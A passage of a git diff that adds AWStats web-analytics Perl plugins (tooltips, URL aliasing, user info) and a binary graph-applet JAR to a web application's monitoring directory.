1; + + POSIX::tzset() if $othertz; + } + + POSIX::tzset() if $othertz; + + return $months; +} + + +1; # Do not remove this line diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/tooltips.pm b/src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/tooltips.pm new file mode 100644 index 0000000..70215f6 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/tooltips.pm @@ -0,0 +1,209 @@ +#!/usr/bin/perl +#----------------------------------------------------------------------------- +# Tooltips AWStats plugin +# This plugin allow you to add some toolpus in AWStats HTML report pages. +# The tooltip are in same language than the report (they are stored in the +# awstats-tt-codelanguage.txt files in lang directory). +#----------------------------------------------------------------------------- +# Perl Required Modules: None +#----------------------------------------------------------------------------- +# $Revision: 1.17 $ - $Author: eldy $ - $Date: 2008/11/15 16:03:42 $ + + +# <----- +# ENTER HERE THE USE COMMAND FOR ALL REQUIRED PERL MODULES. +# -----> +#use strict; +no strict "refs"; + + + +#----------------------------------------------------------------------------- +# PLUGIN VARIABLES +#----------------------------------------------------------------------------- +# <----- +# ENTER HERE THE MINIMUM AWSTATS VERSION REQUIRED BY YOUR PLUGIN +# AND THE NAME OF ALL FUNCTIONS THE PLUGIN MANAGE. +my $PluginNeedAWStatsVersion="6.1"; +my $PluginHooksFunctions="AddHTMLStyles AddHTMLBodyHeader"; +# -----> + +# <----- +# IF YOUR PLUGIN NEED GLOBAL VARIABLES, THEY MUST BE DECLARED HERE. +use vars qw/ +$TOOLTIPWIDTH +/; +# -----> + + + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: Init_pluginname +#----------------------------------------------------------------------------- +sub Init_tooltips { + my $InitParams=shift; + my $checkversion=&Check_Plugin_Version($PluginNeedAWStatsVersion); + + # <----- + # ENTER HERE CODE TO DO INIT PLUGIN ACTIONS + debug(" Plugin tooltips: InitParams=$InitParams",1); + $TOOLTIPON=1; + $TOOLTIPWIDTH=380; # Width of tooltips + # -----> + + return ($checkversion?$checkversion:"$PluginHooksFunctions"); +} + + + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: AddHTMLStyles_pluginname +# UNIQUE: NO (Several plugins using this function can be loaded) +# Function called to Add HTML styles at beginning of BODY section. +#----------------------------------------------------------------------------- +sub AddHTMLStyles_tooltips { + # <----- + print "div { font: 12px 'Arial','Verdana','Helvetica', sans-serif; text-align: justify; }\n"; + print ".CTooltip { position:absolute; top: 0px; left: 0px; z-index: 2; width: ${TOOLTIPWIDTH}px; visibility:hidden; font: 8pt 'MS Comic Sans','Arial',sans-serif; background-color: #FFFFE6; padding: 8px; border: 1px solid black; }\n"; + return 1; + # -----> +} + + +#----------------------------------------------------------------------------- +# PLUGIN FUNTION: AddHTMLBodyHeader_pluginname +# UNIQUE: NO (Several plugins using this function can be loaded) +# Function called to Add HTML code at beginning of BODY section. +#----------------------------------------------------------------------------- +sub AddHTMLBodyHeader_tooltips { + # <----- + if ($FrameName ne 'mainleft') { + + # GET AND WRITE THE TOOLTIP STRINGS + #--------------------------------------------------------------------- + &_ReadAndOutputTooltipFile($Lang); + + # WRITE TOOLTIPS JAVASCRIPT CODE + #--------------------------------------------------------------------- + # Position .style.pixelLeft/.pixelHeight/.pixelWidth/.pixelTop IE OK Opera OK + # .style.left/.height/.width/.top IE456 OK Netscape67 OK XHTML OK + # document.getElementById IE456 OK Opera OK Netscape67 OK XHTML OK + # document.body.offsetWidth|document.body.style.pixelWidth IE OK Opera OK Netscape OK XHTML KO Visible width of container + # document.documentElement.offsetWidth XHTML OK Visible width of container + # tooltipOBJ.offsetWidth|tooltipOBJ.style.pixelWidth IE OK Opera OK Netscape OK Width of an object + # event.clientXY IE OK Opera OK Netscape KO XHTML KO Position of mouse + # window.innerHeight IE OK Netscape OK Height of container + + # window.pageYOffset ? + # document.body.scrollTop IE OK Opera OK Netscape OK XHTML KO Vertical position of scrollbar + + my $docwidth="document.body.offsetWidth"; + my $doctop="document.body.scrollTop"; + if ($BuildReportFormat eq 'xhtml' || $BuildReportFormat eq 'xml') { + $docwidth="document.documentElement.offsetWidth"; + $doctop="document.documentElement.scrollTop"; + } + + print <<EOF; + +<script type="text/javascript"> +function ShowTip(fArg) +{ + var tooltipOBJ = (document.getElementById) ? document.getElementById('tt' + fArg) : eval("document.all['tt" + fArg + "']"); + if (tooltipOBJ != null) { + var tooltipLft = ($docwidth?$docwidth:document.body.style.pixelWidth) - (tooltipOBJ.offsetWidth?tooltipOBJ.offsetWidth:(tooltipOBJ.style.pixelWidth?tooltipOBJ.style.pixelWidth:$TOOLTIPWIDTH)) - 30; + var tooltipTop = 10; + if (navigator.appName == 'Netscape') { + tooltipTop = ($doctop>=0?$doctop+10:event.clientY+10); + tooltipOBJ.style.top = tooltipTop+"px"; + tooltipOBJ.style.left = tooltipLft+"px"; + } + else { + tooltipTop = ($doctop>=0?$doctop+10:event.clientY+10); + tooltipTop = (document.body.scrollTop>=0?document.body.scrollTop+10:event.clientY+10); +EOF + # Seul IE en HTML a besoin de code suppl�mentaire. IE en xhtml est OK + if ($BuildReportFormat ne 'xhtml' && $BuildReportFormat ne 'xml') { +print <<EOF; + if ((event.clientX > tooltipLft) && (event.clientY < (tooltipOBJ.scrollHeight?tooltipOBJ.scrollHeight:tooltipOBJ.style.pixelHeight) + 10)) { + tooltipTop = ($doctop?$doctop:document.body.offsetTop) + event.clientY + 20; + } +EOF + } +print <<EOF; + tooltipOBJ.style.left = tooltipLft; + tooltipOBJ.style.top = tooltipTop; + } + tooltipOBJ.style.visibility = "visible"; + } +} +function HideTip(fArg) +{ + var tooltipOBJ = (document.getElementById) ? document.getElementById('tt' + fArg) : eval("document.all['tt" + fArg + "']"); + if (tooltipOBJ != null) { + tooltipOBJ.style.visibility = "hidden"; + } +} +</script> + +EOF + + } + return 1; + # -----> +} + + +#------------------------------------------------------------------------------ +# Function: Get the tooltip texts for a specified language and write it +# Parameters: LanguageId +# Input: $DirLang $DIR +# Output: Full tooltips text +# Return: None +#------------------------------------------------------------------------------ +sub _ReadAndOutputTooltipFile { + # Check lang files in common possible directories : + # Windows and standard package: "$DIR/lang" (lang in same dir than awstats.pl) + # Debian package : "/usr/share/awstats/lang" + # Other possible directories : "./lang" + my @PossibleLangDir=("$DirLang","${DIR}/lang","/usr/share/awstats/lang","./lang"); + + my $FileLang=''; + my $logtype=lc($LogType ne 'S'?$LogType:'W'); + foreach my $dir (@PossibleLangDir) { + my $searchdir=$dir; + if ($searchdir && (!($searchdir =~ /\/$/)) && (!($searchdir =~ /\\$/)) ) { $searchdir .= "/"; } + if (open(LANG,"${searchdir}tooltips_${logtype}/awstats-tt-$_[0].txt")) { $FileLang="${searchdir}tooltips_${logtype}/awstats-tt-$_[0].txt"; last; } + } + # If file not found, we try english + if (! $FileLang) { + foreach my $dir (@PossibleLangDir) { + my $searchdir=$dir; + if ($searchdir && (!($searchdir =~ /\/$/)) && (!($searchdir =~ /\\$/)) ) { $searchdir .= "/"; } + if (open(LANG,"${searchdir}tooltips_${logtype}/awstats-tt-en.txt")) { $FileLang="${searchdir}tooltips_${logtype}/awstats-tt-en.txt"; last; } + } + } + if ($Debug) { debug(" Plugin tooltips: Call to Read_Language_Tooltip [FileLang=\"$FileLang\"]"); } + if ($FileLang) { + my $aws_PROG=ucfirst($PROG); + my $aws_VisitTimeout = $VISITTIMEOUT/10000*60; + my $aws_NbOfRobots = scalar keys %RobotsHashIDLib; + my $aws_NbOfWorms = scalar @WormsSearchIDOrder; + my $aws_NbOfSearchEngines = scalar keys %SearchEnginesHashLib; + while (<LANG>) { + if ($_ =~ /\<!--/) { next; } # Remove comment + # Search for replaceable parameters + s/#PROG#/$aws_PROG/; + s/#MaxNbOfRefererShown#/$MaxNbOf{'RefererShown'}/; + s/#VisitTimeOut#/$aws_VisitTimeout/; + s/#RobotArray#/$aws_NbOfRobots/; + s/#WormsArray#/$aws_NbOfWorms/; + s/#SearchEnginesArray#/$aws_NbOfSearchEngines/; + print "$_"; + } + } + close(LANG); +} + + +1; # Do not remove this line diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/urlalias.pm b/src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/urlalias.pm new file mode 100644 index 0000000..07e6153 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/urlalias.pm @@ -0,0 +1,139 @@ +#!/usr/bin/perl +#----------------------------------------------------------------------------- +# UrlAlias AWStats plugin +# This plugin allow you to report all URL links with a text title instead of +# URL value. +# You must create a file called urlalias.cnfigvalue.txt and store it in +# plugin directory that contains 2 columns separated by a tab char. +# First column is URL value and second column is text title to use instead of. +#----------------------------------------------------------------------------- +# Perl Required Modules: None +#----------------------------------------------------------------------------- +# $Revision: 1.18 $ - $Author: eldy $ - $Date: 2008/11/15 16:03:42 $ + + +# <----- +# ENTER HERE THE USE COMMAND FOR ALL REQUIRED PERL MODULES +#if (!eval ('require "TheModule.pm";')) { return $@?"Error: $@":"Error: Need Perl module TheModule"; } +# -----> +#use strict; +no strict "refs"; + + + +#----------------------------------------------------------------------------- +# PLUGIN VARIABLES +#----------------------------------------------------------------------------- +# <----- +# ENTER HERE THE MINIMUM AWSTATS VERSION REQUIRED BY YOUR PLUGIN +# AND THE NAME OF ALL FUNCTIONS THE PLUGIN MANAGE. +my $PluginNeedAWStatsVersion="5.5"; +my $PluginHooksFunctions="ShowInfoURL"; +# -----> + +# <----- +# IF YOUR PLUGIN NEED GLOBAL VARIABLES, THEY MUST BE DECLARED HERE. +use vars qw/ +$urlinfoloaded +%UrlAlias +@UrlMatch +/; +# -----> + + + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: Init_pluginname +#----------------------------------------------------------------------------- +sub Init_urlalias { + my $InitParams=shift; + my $checkversion=&Check_Plugin_Version($PluginNeedAWStatsVersion); + + # <----- + # ENTER HERE CODE TO DO INIT PLUGIN ACTIONS + debug(" Plugin urlalias: InitParams=$InitParams",1); + $urlinfoloaded=0; + %UrlAlias=(); + @UrlMatch=(); + # -----> + + return ($checkversion?$checkversion:"$PluginHooksFunctions"); +} + + + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: ShowInfoURL_pluginname +# UNIQUE: NO (Several plugins using this function can be loaded) +# Function called to add additionnal information for URLs in URLs' report. +# This function is called after writing the URL value in the URL cell of the +# Top Pages-URL report. +# Parameters: URL +#----------------------------------------------------------------------------- +sub ShowInfoURL_urlalias { + my $param="$_[0]"; + # <----- + my $found = 0; # flag for testing for whether a match occurs. unused at present + my $filetoload=''; + my $filetoload2=''; + if ($param && ! $urlinfoloaded) { + # Load urlalias and match files + if ($SiteConfig && open(URLALIASFILE,"$DirData/urlalias.$SiteConfig.txt")) { $filetoload2="$DirData/urlalias.$SiteConfig.txt"; } + elsif (open(URLALIASFILE,"$DirData/urlalias.txt")) { $filetoload2="$DirData/urlalias.txt"; } + else { error("Couldn't open UrlAlias file \"$DirData/urlalias.txt\": $!"); } + if ($SiteConfig && open(URLMATCHFILE,"$DirData/urlmatch.$SiteConfig.txt")) { $filetoload="$DirData/urlmatch.$SiteConfig.txt"; } + elsif (open(URLMATCHFILE,"$DirData/urlmatch.txt")) { $filetoload="$DirData/urlmatch.txt"; } + # Load UrlAlias + %UrlAlias = map(/^([^\t]+)\t+([^\t]+)/o,<URLALIASFILE>); + # Load UrlMatch + my $iter = 0; + foreach my $key (<URLMATCHFILE>) { + $key =~ /^([^\t]+)\t+([^\t]+)/o; + $UrlMatch[$iter][0] = $1; + $UrlMatch[$iter][1] = $2; + $iter++; + } + close URLALIASFILE; + close URLMATCHFILE; + debug(" Plugin urlalias: UrlAlias file loaded: ".(scalar keys %UrlAlias)." entries found."); + debug(" Plugin urlalias: UrlMatch file loaded: ".(scalar @UrlMatch)." entries found."); + $urlinfoloaded=1; + } + if ($param) { + if ($UrlAlias{$param}) { + print "<font style=\"color: $color_link; font-weight: bold\">$UrlAlias{$param}</font><br />"; + $found=1; + } + else { + foreach my $iter (0..@UrlMatch-1) { + my $key = $UrlMatch[$iter][0]; + if ( $param =~ /$key/ ) { + print "<font style=\"color: #$color_link; font-weight: bold\">$UrlMatch[$iter][1]</font><br />"; + $found = 1; +# $UrlAlias{$param} = $UrlMatch[$iter][1]; +# if ($SiteConfig && open(URLALIASFILE,">> $DirData/urlalias.$SiteConfig.txt")) { +# $filetoload="$DirData/urlalias.$SiteConfig.txt"; +# } +# elsif (open(URLALIASFILE,">> $DirData/urlalias.txt")) { +# $filetoload="$DirData/urlalias.txt"; +# } +# else { +# error("Couldn't open UrlAlias file \"$DirData/urlalias.txt\": $!"); +# } +# print URLALIASFILE "$param\t$UrlAlias{$param}"; +# close URLALIASFILE; + last; + } + } + } + if (!$found) { # does nothing right now + print ""; + } + } + else { print ""; } # Url info title + return 1; + # -----> +} + + +1; # Do not remove this line diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/userinfo.pm b/src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/userinfo.pm new file mode 100644 index 0000000..f897179 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/userinfo.pm @@ -0,0 +1,105 @@ +#!/usr/bin/perl +#----------------------------------------------------------------------------- +# UserInfo AWStats plugin +# This plugin allow you to add information on authenticated users chart from +# a text file. Like full user name and lastname. +# You must create a file called userinfo.configvalue.txt wich contains 2 +# columns separated by a tab char, and store it in DirData directory. +# First column is authenticated user login and second column is text you want +# to add. +#----------------------------------------------------------------------------- +# Perl Required Modules: None +#----------------------------------------------------------------------------- +# $Revision: 1.9 $ - $Author: eldy $ - $Date: 2008/11/15 16:03:42 $ + + +# <----- +# ENTER HERE THE USE COMMAND FOR ALL REQUIRED PERL MODULES +#if (!eval ('require "TheModule.pm";')) { return $@?"Error: $@":"Error: Need Perl module TheModule"; } +# -----> +#use strict; +no strict "refs"; + + + +#----------------------------------------------------------------------------- +# PLUGIN VARIABLES +#----------------------------------------------------------------------------- +# <----- +# ENTER HERE THE MINIMUM AWSTATS VERSION REQUIRED BY YOUR PLUGIN +# AND THE NAME OF ALL FUNCTIONS THE PLUGIN MANAGE. +my $PluginNeedAWStatsVersion="5.5"; +my $PluginHooksFunctions="ShowInfoUser"; +# -----> + +# <----- +# IF YOUR PLUGIN NEED GLOBAL VARIABLES, THEY MUST BE DECLARED HERE. +use vars qw/ +$userinfoloaded +%UserInfo +/; +# -----> + + + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: Init_pluginname +#----------------------------------------------------------------------------- +sub Init_userinfo { + my $InitParams=shift; + my $checkversion=&Check_Plugin_Version($PluginNeedAWStatsVersion); + + # <----- + # ENTER HERE CODE TO DO INIT PLUGIN ACTIONS + debug(" Plugin userinfo: InitParams=$InitParams",1); + $userinfoloaded=0; + %UserInfo=(); + # -----> + + return ($checkversion?$checkversion:"$PluginHooksFunctions"); +} + + + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: ShowInfoUser_pluginname +# UNIQUE: NO (Several plugins using this function can be loaded) +# Function called to add additionnal columns to Authenticated users report. +# This function is called when building rows of the report (One call for each +# row). So it allows you to add a column in report, for example with code : +# print "<TD>This is a new cell</TD>"; +# Parameters: User +#----------------------------------------------------------------------------- +sub ShowInfoUser_userinfo { + my $param="$_[0]"; + # <----- + my $filetoload=''; + if ($param && $param ne '__title__' && ! $userinfoloaded) { + # Load userinfo file + if ($SiteConfig && open(USERINFOFILE,"$DirData/userinfo.$SiteConfig.txt")) { $filetoload="$DirData/userinfo.$SiteConfig.txt"; } + elsif (open(USERINFOFILE,"$DirData/userinfo.txt")) { $filetoload="$DirData/userinfo.txt"; } + else { error("Couldn't open UserInfo file \"$DirData/userinfo.txt\": $!"); } + # This is the fastest way to load with regexp that I know + %UserInfo = map(/^([^\t]+)\t+([^\t]+)/o,<USERINFOFILE>); + close USERINFOFILE; + debug(" Plugin userinfo: UserInfo file loaded: ".(scalar keys %UserInfo)." entries found."); + $userinfoloaded=1; + } + if ($param eq '__title__') { + print "<th width=\"80\">$Message[114]</th>"; + } + elsif ($param) { + print "<td>"; + if ($UserInfo{$param}) { print "$UserInfo{$param}"; } + else { print " "; } # Undefined user info + print "</td>"; + } + else { + print "<td> </td>"; + } + return 1; + # -----> +} + + +1; # Do not remove this line diff --git a/src/main/webapp/monitoramento/wwwroot/classes/awgraphapplet.jar b/src/main/webapp/monitoramento/wwwroot/classes/awgraphapplet.jar new file mode 100644 index 0000000000000000000000000000000000000000..2ac5bc9f7f9bcca6cc60f337caef30eaff95a175 GIT binary patch literal 5521 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 